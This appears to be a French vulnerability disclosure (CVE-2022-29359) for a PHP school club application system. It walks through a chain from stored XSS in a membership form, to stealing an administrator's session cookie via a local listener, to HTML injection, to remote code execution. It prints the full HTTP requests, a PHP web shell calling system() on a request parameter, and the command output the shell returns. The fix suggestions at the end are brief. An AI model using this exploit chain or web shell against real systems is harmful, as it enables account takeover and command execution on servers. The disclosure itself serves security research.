Système d'application de club scolaire

Problème : Cross-Site Scripting stocké non authentifié menant à une injection HTML puis à une exécution de code à distance (RCE)

Auteur : Zak Clifford

Date : 12.04.2022

Vendeur : https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html

Logiciel : https://www.sourcecodester.com/sites/default/files/download/oretnom23/scas_0.zip

Référence : https://github.com/ZSECURE

Testé sur : Windows, MySQL, Apache

Résumé

Lors des tests d'une application gratuite et open-source (FOSS), une faille a été identifiée : un acteur malveillant non authentifié peut postuler pour rejoindre un club de lecture, injecter une charge utile XSS et voler les cookies de session des administrateurs de l'application (rôle Admin ou Admin de club). En utilisant le cookie de session, il est possible de se connecter en tant qu'administrateur et d'ajouter du code PHP aux pages "à propos" et d'accueil. L'ajout d'un shell PHP permet d'exécuter des commandes sur le serveur web.

Preuve de concept

XSS stocké non authentifié

Procédure manuelle : Postuler à un club et cliquer sur Soumettre la candidature

Approche directe : Accéder à l'URL suivante http://localhost/scas/?page=clubs/application_form&id=7

Capture d'écran du champ de saisie vulnérable :

Untitled

Insérez la charge utile suivante dans le paramètre prénom

m1st3r3">

La requête POST contenant la charge utile est la suivante

POST /scas/classes/Master.php?f=save_application HTTP/1.1
Host: localhost
Content-Length: 1326
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEWvm4hOYmjUAAlLT
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scas/?page=clubs/application_form&id=7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="id"

------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="club_id"

7
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="firstname"

m1st3r3">
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="middlename"

------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="lastname"

test
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="gender"

Male
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="year_level"

2022
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="section"

test
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="email"

[email protected]
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="contact"

0123456789
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="address"

------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="message"

------WebKitFormBoundaryEWvm4hOYmjUAAlLT--

Démarrez un serveur web HTTP Python écoutant sur le port 8000 pour capturer la requête

PS C:\xampp\htdocs\scas> python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:127.0.0.1 - - [11/Apr/2022 22:54:46] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [11/Apr/2022 23:15:37] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:26:35] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:26:49] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:32:01] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -

Lorsqu'un administrateur ou un administrateur de club se connecte et consulte les candidatures, le XSS stocké est déclenché et il est possible de capturer le cookie de session. Une fois le cookie capturé, il est possible de se connecter en tant que cet utilisateur avec le cookie.

Injection HTML

Avec le cookie de session de l'administrateur, il est possible d'injecter du code dans les pages index.php et about-us.php pour manipuler la page et éventuellement obtenir une exécution de commandes.

Requête :

POST /scas/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Content-Length: 5552
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylq5Nntc4amccqP1S
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scas/admin/?page=system
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=qvch5e9s97c9cfpsi23f2iureq
Connection: close

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="name"

School Club Application System
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="short_name"

SCAS - PHP
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[welcome]"

<h1>HTML injection is possible here!</h1><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce bibendum leo in purus commodo accumsan. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam et ligula gravida, rhoncus magna vel, tristique nibh. Nullam molestie, risus ac pretium mattis, massa dui tristique nunc, eu lacinia leo lorem consequat libero. Donec vitae nisi semper, pulvinar felis quis, mattis sem. Nulla quis dolor in lorem tempor posuere. Mauris non nunc vel ex malesuada pellentesque non egestas ligula. Donec consequat nunc non enim pretium aliquet. Maecenas non arcu a quam aliquam malesuada ut eget arcu. Curabitur sit amet est lorem. Aenean commodo mi vel magna semper dignissim. Fusce commodo orci nec placerat laoreet. Praesent nisl lectus, varius sit amet molestie a, luctus ut ipsum. Sed quis massa quis lorem auctor eleifend. Integer eget nulla sit amet massa commodo porttitor. Duis justo tortor, euismod vitae leo ac, pharetra mattis justo.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Pellentesque auctor dictum porttitor. Ut ultricies feugiat mollis. Aenean pretium pulvinar aliquam. Maecenas lobortis ornare tortor vitae vestibulum. Quisque aliquam neque eget magna venenatis, sit amet auctor ex elementum. Etiam ullamcorper sapien quis metus interdum cursus. Curabitur quis ligula molestie, sollicitudin ipsum ac, fringilla dui. Ut sit amet ornare nulla. Vestibulum condimentum sem at velit vehicula, sit amet hendrerit augue finibus. In hac habitasse platea dictumst.</p>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[about]"

<h1>HTML injection is possible here!</h1><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">In scelerisque risus elit, sed imperdiet magna porttitor eu. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Etiam non augue eget lacus semper placerat in at libero. Sed a libero malesuada, pharetra elit posuere, sagittis ligula. Pellentesque aliquam ultrices arcu, sed blandit leo euismod in. Vestibulum luctus diam orci, eget convallis nisl dapibus rutrum. Aliquam nec dui lobortis, consectetur sem et, semper urna. Morbi at nunc nibh. Curabitur placerat tortor in quam dignissim volutpat. Integer ac purus vel nulla posuere gravida. Sed justo ex, venenatis eget interdum sit amet, tincidunt at neque. Cras vitae urna at leo commodo cursus. Duis at ligula non orci sodales ultricies. Fusce vulputate convallis augue, egestas semper diam condimentum et. Duis ante purus, tincidunt eu est in, ullamcorper molestie ante. Pellentesque sodales sit amet massa vitae vulputate.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">Quisque fringilla, mi quis blandit posuere, nulla lorem sagittis dui, et dapibus urna nisl et nisl. Sed vel leo rutrum, suscipit urna at, elementum augue. Donec vitae gravida lacus. Sed accumsan ligula sit amet nisi scelerisque, ac malesuada ligula pharetra. Nulla pellentesque nisl quis purus congue, id luctus lacus aliquam. Phasellus magna dolor, tempus vel cursus sed, sollicitudin sit amet est. Donec et ultrices odio. Proin posuere, arcu sit amet rhoncus sagittis, lacus mi porttitor dolor, quis ornare arcu ante ac tortor. Aliquam porttitor velit in viverra eleifend. Nam quis ullamcorper orci. Suspendisse bibendum justo id diam eleifend, non molestie libero mattis. Quisque felis nunc, fringilla sit amet pretium nec, rhoncus vel sapien. Proin auctor cursus nulla sed hendrerit.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><br></p>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="cover"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S--

Untitled

Exécution de code à distance (RCE)

Suite au problème d'injection HTML précédent, il est possible d'ajouter un shell PHP à la page et d'exécuter des commandes.

Ajouter cette charge utile <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> à la fin du texte Lorem Ipsum.

POST /scas/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Content-Length: 5552
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylq5Nntc4amccqP1S
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scas/admin/?page=system
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=qvch5e9s97c9cfpsi23f2iureq
Connection: close

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="name"

School Club Application System
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="short_name"

SCAS - PHP
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[welcome]"

<p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce bibendum leo in purus commodo accumsan. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam et ligula gravida, rhoncus magna vel, tristique nibh. Nullam molestie, risus ac pretium mattis, massa dui tristique nunc, eu lacinia leo lorem consequat libero. Donec vitae nisi semper, pulvinar felis quis, mattis sem. Nulla quis dolor in lorem tempor posuere. Mauris non nunc vel ex malesuada pellentesque non egestas ligula. Donec consequat nunc non enim pretium aliquet. Maecenas non arcu a quam aliquam malesuada ut eget arcu. Curabitur sit amet est lorem. Aenean commodo mi vel magna semper dignissim. Fusce commodo orci nec placerat laoreet. Praesent nisl lectus, varius sit amet molestie a, luctus ut ipsum. Sed quis massa quis lorem auctor eleifend. Integer eget nulla sit amet massa commodo porttitor. Duis justo tortor, euismod vitae leo ac, pharetra mattis justo.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Pellentesque auctor dictum porttitor. Ut ultricies feugiat mollis. Aenean pretium pulvinar aliquam. Maecenas lobortis ornare tortor vitae vestibulum. Quisque aliquam neque eget magna venenatis, sit amet auctor ex elementum. Etiam ullamcorper sapien quis metus interdum cursus. Curabitur quis ligula molestie, sollicitudin ipsum ac, fringilla dui. Ut sit amet ornare nulla. Vestibulum condimentum sem at velit vehicula, sit amet hendrerit augue finibus. In hac habitasse platea dictumst.</p><?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[about]"

<p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">In scelerisque risus elit, sed imperdiet magna porttitor eu. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Etiam non augue eget lacus semper placerat in at libero. Sed a libero malesuada, pharetra elit posuere, sagittis ligula. Pellentesque aliquam ultrices arcu, sed blandit leo euismod in. Vestibulum luctus diam orci, eget convallis nisl dapibus rutrum. Aliquam nec dui lobortis, consectetur sem et, semper urna. Morbi at nunc nibh. Curabitur placerat tortor in quam dignissim volutpat. Integer ac purus vel nulla posuere gravida. Sed justo ex, venenatis eget interdum sit amet, tincidunt at neque. Cras vitae urna at leo commodo cursus. Duis at ligula non orci sodales ultricies. Fusce vulputate convallis augue, egestas semper diam condimentum et. Duis ante purus, tincidunt eu est in, ullamcorper molestie ante. Pellentesque sodales sit amet massa vitae vulputate.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">Quisque fringilla, mi quis blandit posuere, nulla lorem sagittis dui, et dapibus urna nisl et nisl. Sed vel leo rutrum, suscipit urna at, elementum augue. Donec vitae gravida lacus. Sed accumsan ligula sit amet nisi scelerisque, ac malesuada ligula pharetra. Nulla pellentesque nisl quis purus congue, id luctus lacus aliquam. Phasellus magna dolor, tempus vel cursus sed, sollicitudin sit amet est. Donec et ultrices odio. Proin posuere, arcu sit amet rhoncus sagittis, lacus mi porttitor dolor, quis ornare arcu ante ac tortor. Aliquam porttitor velit in viverra eleifend. Nam quis ullamcorper orci. Suspendisse bibendum justo id diam eleifend, non molestie libero mattis. Quisque felis nunc, fringilla sit amet pretium nec, rhoncus vel sapien. Proin auctor cursus nulla sed hendrerit.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><br></p><?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="cover"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S--

Ensuite, il suffit d'envoyer une requête à la page index.php avec le paramètre cmd=<commande> pour exécuter des commandes.

Requête :

GET /scas/index.php?cmd=dir HTTP/1.1
Host: localhost
Content-Length: 0

Réponse :

HTTP/1.1 200 OK

<snipped for brevity>

<pre> Volume in drive C is OS
 Volume Serial Number is 9C4B-142B

 Directory of C:\xampp\htdocs\scas

10/04/2022  19:09    <DIR>          .
10/04/2022  19:09    <DIR>          ..
10/04/2022  15:35               225 .htaccess
12/04/2022  18:05             2,533 about.html
10/04/2022  15:35               220 about.php
10/04/2022  16:14    <DIR>          admin
10/04/2022  16:15    <DIR>          assets
10/04/2022  16:14    <DIR>          classes
10/04/2022  17:17    <DIR>          clubs
10/04/2022  16:14    <DIR>          club_admin
10/04/2022  16:14    <DIR>          club_contents
10/04/2022  15:35             1,297 config.php
10/04/2022  16:14    <DIR>          database
10/04/2022  15:35               256 home.php
10/04/2022  16:14    <DIR>          includes
10/04/2022  15:35             3,010 index.php
10/04/2022  15:35               647 initialize.php
10/04/2022  16:14    <DIR>          uploads
12/04/2022  18:05             1,955 welcome.html
              10 File(s)         11,553 bytes
              11 Dir(s)  181,660,803,072 bytes free
</pre>

C'est mon premier CVE, alors soyez indulgents 😃

Corrections

Encoder en HTML les entrées utilisateur afin qu'elles ne soient pas exécutées par le serveur web
Marquer le cookie de session comme HTTPOnly PHPSESSID
Mettre en place une Content-Security-Policy

CVE-2022-29359

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